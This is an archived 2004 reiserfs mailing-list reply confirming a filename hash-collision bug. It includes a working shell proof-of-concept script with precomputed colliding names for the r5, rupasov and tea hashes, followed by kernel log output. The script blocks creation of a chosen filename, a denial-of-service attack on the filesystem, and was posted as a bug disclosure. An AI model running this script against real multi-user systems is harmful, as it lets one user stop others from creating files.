From mboxrd@z Thu Jan 1 00:00:00 1970 From: Stefan Traby Subject: Re: Congratulations! we have got hash function screwed up Date: Wed, 29 Dec 2004 19:55:29 +0100 Message-ID: <20041229185529.GA7513@hello-penguin.com> References: <20041228221218.GA6412@schmorp.de> Reply-To: Stefan Traby Mime-Version: 1.0 Return-path: list-help: list-unsubscribe: list-post: Errors-To: flx@namesys.com Content-Disposition: inline In-Reply-To: <20041228221218.GA6412@schmorp.de> List-Id: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit To: " Marc A. Lehmann " Cc: reiserfs-list@namesys.com, stefan@hello-penguin.com On Tue, Dec 28, 2004 at 11:12:18PM +0100, Marc A. Lehmann wrote: > ReiserFS: hdg2: warning: reiserfs_add_entry: Congratulations! we have got hash function screwed up > > Sure sounds like a filesystem bug to me. Is this 2.6.10-rc3-specific or a > generic bug in handling hash collisions? I can confirm that with 2.6.10. It is independent of hash function (r5, rupasov, tea) used. Here a script that works independent of hash (feel free to forward it to bugtraq - it's a showstopper bug): #! /bin/sh # reiserfs v3 denial of "00000000" creation attack (hash collisions) # insider: EHASHCOLLISION EAGAIN! # ATTACK=00000000 R5=" 000003435823 000022067556 000040799289 000047672563 000079051844 000097783577 000119162858 000125037032 000137894590 000156516313 000169273871 000175148046 000193879879 000209384885 000228006608 000246738340 000252611615 000259495899 000278117621 000296849354 000305480087 000311354361 000318228635 000342833642 000361465375 000374212923 000392944656 000401576389 000414323937 000439929944 000445803118 000464434950 000470309125 000483066683 000504545964 000523177697 000560530152 000567404427 000573288700 000598893708 000600641166 000607515440 000626147173 000632020447 000657626454 000676258187 000689005735 000729116749 000747848481 000753721756 000779227762 000797959495 000806590218 000819338776 000843943783 000862575506 000888080512 000921308252 000934065800 000946913259 000952797533 000971419266 000984176814 001008625581 001027257304 001033130588 001051862310 001058736595 001070494043 001077368318 001117479331 001136100064 001148958612 001154831897 001160706070 001186211078 001213574633 001226322091 001257801372 001263685647 001289190653 001295064928 001303796660 001316544109 001322418393 001335175941 001366655122 001385286955 001406766136 001425397969 001431271143 001462750424 001481382157 001502861438 001509735712 001521493170 001528367445 001534240719 001552972451 001559846726 001578478459 001611705198 001618589472 001661816201 001687321209 001714684774 001727432222 001758911503 001764795788 001777543236 001783417510 001823528524 001849033530 001867765263 001873639538 001892270270 001907876277 001932381284 001945129832 001951003007 001963860565 001976609013 001982492298 002012815329 002019699603 002031447061 002038320336 002050078894 002062926342 002081558075" RUPASOV=" 000000000000 000016777216 000033554432 000050331648 000067108864 000083886080 000100663296 000117440512 000134217728 000150994944 000167772160 000184549376 000201326592 000218103808 000234881024 000251658240 000268435456 000285212672 000301989888 000318767104 000335544320 000352321536 000369098752 000385875968 000402653184 000419430400 000436207616 000452984832 000469762048 000486539264 000503316480 000520093696 000536870912 000553648128 000570425344 000587202560 000603979776 000620756992 000637534208 000654311424 000671088640 000687865856 000704643072 000721420288 000738197504 000754974720 000771751936 000788529152 000805306368 000822083584 000838860800 000855638016 000872415232 000889192448 000905969664 000922746880 000939524096 000956301312 000973078528 000989855744 001006632960 001023410176 001040187392 001056964608 001073741824 001090519040 001107296256 001124073472 001140850688 001157627904 001174405120 001191182336 001207959552 001224736768 001241513984 001258291200 001275068416 001291845632 001308622848 001325400064 001342177280 001358954496 001375731712 001392508928 001409286144 001426063360 001442840576 001459617792 001476395008 001493172224 001509949440 001526726656 001543503872 001560281088 001577058304 001593835520 001610612736 001627389952 001644167168 001660944384 001677721600 001694498816 001711276032 001728053248 001744830464 001761607680 001778384896 001795162112 001811939328 001828716544 001845493760 001862270976 001879048192 001895825408 001912602624 001929379840 001946157056 001962934272 001979711488 001996488704 002013265920 002030043136 002046820352 002063597568 002080374784 002097152000 002113929216 002130706432 002147483648 002164260864" TEA=" 000004464160 000041804440 000080240100 000091329029 000104181015 000113725885 000126527488 000140392446 000158910938 000228997445 000230956744 000265118409 000278488948 000294393023 000295253722 000300066283 000302103786 000330187358 000345002932 000351581026 000363320013 000366148241 000398298703 000411084407 000430270876 000450889104 000457353842 000459620112 000464658163 000465039241 000472966466 000479773493 000485638992 000490029225 000519300138 000523222490 000543871739 000550161091 000614863063 000628859470 000658101403 000705881242 000707428465 000709541412 000710835913 000712765852 000747815906 000751391777 000758206682 000759473821 000761493018 000807141251 000819925766 000822342439 000844968698 000846939644 000856679997 000862332598 000897273990 000903164600 000959685453 000966591643 000975714799 001026819859 001030872126 001052008464 001101513177 001111878931 001114914486 001126417564 001134342742 001145636506 001156983946 001160376993 001181076193 001187045552 001229906330 001237307675 001240018281 001248584794 001258422117 001295880517 001329389368 001334233160 001350505390 001377143821 001393244657 001501373481 001530260023 001544062865 001610909439 001642156853 001659354644 001663482837 001665935205 001709618183 001759947280 001787829412 001793154973 001822800512 001896514533 001927905568 001943169212 001959135151 001971173446 001990765252 001994429464 002029003899 002067143236 002083825957 002092102503 002097735725 002117257216 002119310814 002135908515 002158320625 002167193043 002172339658 002184965785 002188948362 002206033194 002206592488 002207146649 002209003597 002219996827 002235862165 002237358329 002267747802 002273109830 002284855435" for i in $RUPASOV $R5 $TEA ; do touch $i done touch $ATTACK if [ \! -f $ATTACK ] ; then echo "FATAL: can't create $ATTACK" fi rm -f $RUPASOV $R5 $TEA Dec 28 23:38:24 kotzmaster kernel: ReiserFS: loop0: Using rupasov hash to sort names Dec 29 00:38:59 kotzmaster kernel: ReiserFS: loop0: warning: reiserfs_add_entry: Congratulations! we have got hash function screwed up Dec 29 00:40:17 kotzmaster kernel: ReiserFS: loop0: Using tea hash to sort names Dec 29 00:40:22 kotzmaster kernel: ReiserFS: loop0: warning: reiserfs_add_entry: Congratulations! we have got hash function screwed up Dec 29 00:41:16 kotzmaster kernel: ReiserFS: loop0: Using r5 hash to sort names Dec 29 00:41:23 kotzmaster kernel: ReiserFS: loop0: warning: reiserfs_add_entry: Congratulations! we have got hash function screwed up -- ciao - Stefan " GNU's Not Unix -- IIS Isn't Secure "